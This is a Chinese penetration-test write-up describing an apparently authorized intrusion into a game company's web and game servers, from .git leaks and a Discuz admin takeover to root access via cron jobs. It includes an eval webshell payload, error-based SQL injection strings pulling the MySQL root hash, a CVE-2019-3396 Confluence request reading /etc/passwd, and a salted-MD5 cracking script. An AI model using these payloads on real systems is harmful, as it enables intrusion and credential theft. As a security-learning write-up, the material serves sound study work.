授权渗透某游戏厂商

  • A+
所属分类:安全文章

最近接了很多游戏厂商的活,大部分都是靠代码审计莽过去的,可见代码审计的重要性。

先稍微收集了一下信息。

主站:thinkphp3.2.3

论坛:Discuz! X3.3

均在同一服务器,同时该服务器80端口主页404但是有和主站一样的报错界面。

先后台扫描一下三者。

主站和论坛均存在.git泄露和目录遍历。

直接上GitHack扒源码。

主站大量not found,论坛则总共下载了一个文件。

不过好歹暴露了一些接口和数据库配置。

两个普通账户,localhost显然mysql无法远程登录,实际扫描也是如此。

但很快在80端口上发现phpmyadmin,两个站的账户密码均可登录。

先登录主站后台,虽然有很多图片上传点,但均无法突破。


在源码中也能看到,使用了thinkphp自带的ThinkUpload类,设定了白名单规则。

也许有别的突破点,但源码不全,后台功能也并不丰富,于是转战Discuz。

Discuz的密码带盐,但控制了数据库,直接在pre_ucenter_members中改admin的密码即可。

password:4c8e48c93667ab0bd4f06b0704d1e35e

salt:1af52c

明文:123456

顺利登陆admin.php,直奔UCenter设置。

此处有三种漏洞。

1,插配置文件getshell(PS:这种方法我一开始没有采用)

可以插在数据库密码这儿,不影响网站主体使用,需要准备一个远程mysql服务器,密码改为【test');eval($_POST[1]);//】

访问/config/config_ucenter.php

3.4版本被修复,但是可以利用UC_KEY绕过,详情见。

https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/

 

2,连接恶意mysql服务器进行任意文件读取

localhost换成恶意服务器地址即可。需要知道绝对路径,一般读/config/config_global.php和/config/config_ucenter.php。

3.4版本被修复

 

3,后台SQL注入

虽然我们已经获取了bbs的账户,但是非root账户,UC用的是root账户,因此这个SQL注入可以尝试跨库,文件读取,写入等等。

注入方法为,在UCenter 应用 ID这儿填入如下payload,提交。

1' and(updatexml(1,concat(0x7e,(select user()),0x7e),1)) #

然后再填入1,提交。这是个二次注入

由于插配置文件可能插出问题,论坛没有绝对路径(主站有),所以这三种方法中我最终选择了SQL注入。

二次注入不太方便,由于有phpmyadmin,所以先注出root的密码hash看能否解密。

1' and(updatexml(1,concat(0x7e,(select password from mysql.user where user = 'root'and host = 'localhost'),0x7e),1)) #


报错注入有位数限制,30多位,使用字符串分割函数爆出剩下的位数。

1' and(updatexml(1,concat(0x7e,substr((select password from mysql.user where user ='root' and host = 'localhost'),30,100),0x7e),1)) #


cmd5顺利解出。登陆phpmyadmin,查看文件保护。

show variables like'%secure_file_priv%';

为空意味着没有文件保护,可以正常读写。

先尝试读/etc/passwd

结果显示不出来,此时可以使用hex(),然后打印预览,得到hex在自己服务器上unhex()解出。

select hex(load_file('/etc/passwd'));


由于主站thinkphp报错泄露绝对路径,因此打算写入,结果发现没有权限。

同理,general_log方式也不行,也无法向插件目录写文件,所以udf方式也不行。

由于暂时不想插配置文件,至此告一段落。

 

不过很快在80端口发现了Confluence wiki。

此版本刚好CVE-2019-3396范围内。


POST /wiki/rest/tinymce/1/macro/preview HTTP/1.1Host: testContent-Type: application/json; charset=utf-8Referer: testContent-Length: 171Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}

如图存在任意文件包含,可直接包含远程https服务器上的文件。

具体见https://github.com/jas502n/CVE-2019-3396

 

成功反弹回shell

但sudo版本和内核都较新,未发现提权点。而这个shell是confluence权限,无法读写主站和论坛,因此被迫去插配置文件。

插配置文件成功,接下来是提权。

 

redis,在配置文件中发现redis密码,但2.x版本且权限很低。

SUID,内核溢出失败,sudo版本很高,定时任务应该是云服务器自带的,没有利用的地方。

比较有意思的是passwd任务计划,是备份passwdgroupshadow等关键文件,但备份完给了一个600权限。

/etc/group发现thomas关键用户,在sudo组里。

同时发现thomas用户被写在一个脚本里用以登录另一台服务器,serverip/etc/hosts被指定。也就是说这台服务器是官网服务器,server这台是游戏服务器。

可惜看起来是用sshkey登录的,不过这也说明了一旦我拿到thomas账户,等于获取了两台服务器的权限。

结合redismysql密码,对ssh进行针对性爆破,失败。

 

无奈开始去web中翻找线索,虽然wiki等系统密码都非常难以解密,无法获取明文,但我有mysql权限,可以重置其密码。

邮箱,git,一直到wiki的第一眼。

又是经典的至此渗透完毕了吗?并没有,可以看到最终更新2018年,实际密码已经变更,wiki没有继续维护了。


这里还有游戏服务器,也就是thomas可以登录的游戏服务器,发现80端口上存在游戏的运营管理平台。

有验证码无法爆破,无注入,数据库和官网服务器不在一起。

于是在对方git中获得源码开始审计。

首先有经典的thinkphp日志泄露

但是解不出来,查看登陆接口代码。

md5($username.'#'.$password),相当于加了盐,用python拿针对性字典,生成一个彩虹表。

import hashlib
username = "admin"list = open("password.dict","r")for i in list.readlines(): i = i.replace("x0a","") i = username+"#"+i hl = hashlib.md5() hl.update(i.encode("utf-8")) i = hl.hexdigest()+" "+i print(i) fo = open("md5.txt","a")    fo.write(i+"x0a")

对比md5值,成功登陆

有源码,很容易在后台找到注入点。

此处可以用area参数切换库来注入,不过很遗憾,两个库都不是root用户,无法利用。

接下来找文件上传,但是使用了专门的文件服务器,见oosUpload()

注意后面有个unlink(),很显然,是先传到服务器上,再传到oos上,有可能条件竞争。不过跟了一下uploadPicOne(),还是用的原生ThinkUpload类,白名单+随机命名,无法突破。

文件上传不能利用,却柳暗花明,发现一处愚蠢的查询日志的命令拼接。

使用wget getshell

也是www-data权限,内核依旧相当难提权。

继续翻找文件,发现ooskey,暂时不用。又在wiki中发现了这么一句话。

每天凌晨运行,如图www权限刚好可以修改此文件。

但我不太确定此任务计划是否在执行,以及是用什么权限执行,于是在此文件中加入一段代码。

凌晨之后,发现成功执行,是用thomas用户执行的。

那么在crontab.php中加入反弹shell的命令,等第二天凌晨,获得shell

直接sudo能行吗?

答案是不行,第一次sudo需要输入密码。

不过,没事,我们依旧从任务计划中想办法。

ssh到另外一台服务器上,两者互相有sshkey

然后wiki上关于任务计划还有这么一句。

是的,这个文件,thomas权限可以修改

同样的利用方式,我们获取了root权限shell

至此渗透完毕

扫码关注:


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付

本文始发于微信公众号(聚鼎安全):授权渗透某游戏厂商

发表评论